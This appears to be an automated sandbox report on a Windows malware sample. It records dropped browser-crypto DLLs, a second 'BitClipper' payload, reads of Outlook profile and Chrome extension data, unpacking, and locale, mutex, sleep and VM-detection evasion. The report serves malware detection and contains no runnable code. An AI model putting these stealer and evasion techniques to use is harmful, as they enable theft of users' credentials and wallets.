Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Section loaded: apphelp.dll	Jump to behavior

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: mozglue.pdbP source: w3WOJ1ohgD.exe, 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: w3WOJ1ohgD.exe, 00000000.00000002.2096022369.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: w3WOJ1ohgD.exe, 00000000.00000002.2096022369.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: w3WOJ1ohgD.exe, 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: M:\DATA\Projects\BitClipper2017\Release\BitClipper2017.pdb source: FBKJDGCGDA.exe, 00000009.00000002.4104695130.00000000000DC000.00000002.00000001.01000000.00000009.sdmp, FBKJDGCGDA.exe, 00000009.00000000.1958902855.00000000000DC000.00000002.00000001.01000000.00000009.sdmp, FBKJDGCGDA.exe.0.dr, tiktok[1].exe.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Unpacked PE file: 0.2.w3WOJ1ohgD.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Unpacked PE file: 0.2.w3WOJ1ohgD.exe.400000.0.unpack

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Code function: 0_2_00416240 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00416240

Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_004176C5 push ecx; ret	0_2_004176D8
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD1B536 push ecx; ret	0_2_6CD1B549
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000C8856 push ecx; ret	9_2_000C8869
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000C834B push ecx; ret	9_2_000C835E

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tiktok[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

0_2_00416240

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-68610

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe

Stalling execution: Execution stalls by calling Sleep

Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Window / User API: threadDelayed 2614			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Window / User API: threadDelayed 7384			Jump to behavior

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	API coverage: 7.9 %
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	API coverage: 5.6 %

Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe TID: 8024	Thread sleep count: 2614 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe TID: 8024	Thread sleep time: -1858554s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe TID: 8024	Thread sleep count: 7384 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe TID: 8024	Thread sleep time: -5250024s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00412570
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D1C0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_004015C0 EntryPoint,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004015C0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00411650
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B610
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040DB60
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00411B80
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040D540
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_004121F0

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Code function: 0_2_00401120 GetSystemInfo,ExitProcess,

0_2_00401120

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.11.dr	Binary or memory string: VMware
Source: Amcache.hve.11.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.11.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.11.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.11.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.11.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.11.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.11.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.11.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.11.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.11.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.11.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.11.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.11.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.11.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.11.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.11.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.11.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.11.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.11.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.11.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: w3WOJ1ohgD.exe, 00000000.00000002.2070401885.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.11.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.11.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.11.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.11.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.11.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.11.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.11.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.11.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	API call chain: ExitProcess graph end node	graph_0-68595
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	API call chain: ExitProcess graph end node	graph_0-68598
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	API call chain: ExitProcess graph end node	graph_0-68616
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	API call chain: ExitProcess graph end node	graph_0-69641
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	API call chain: ExitProcess graph end node	graph_0-68648
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	API call chain: ExitProcess graph end node	graph_0-68609
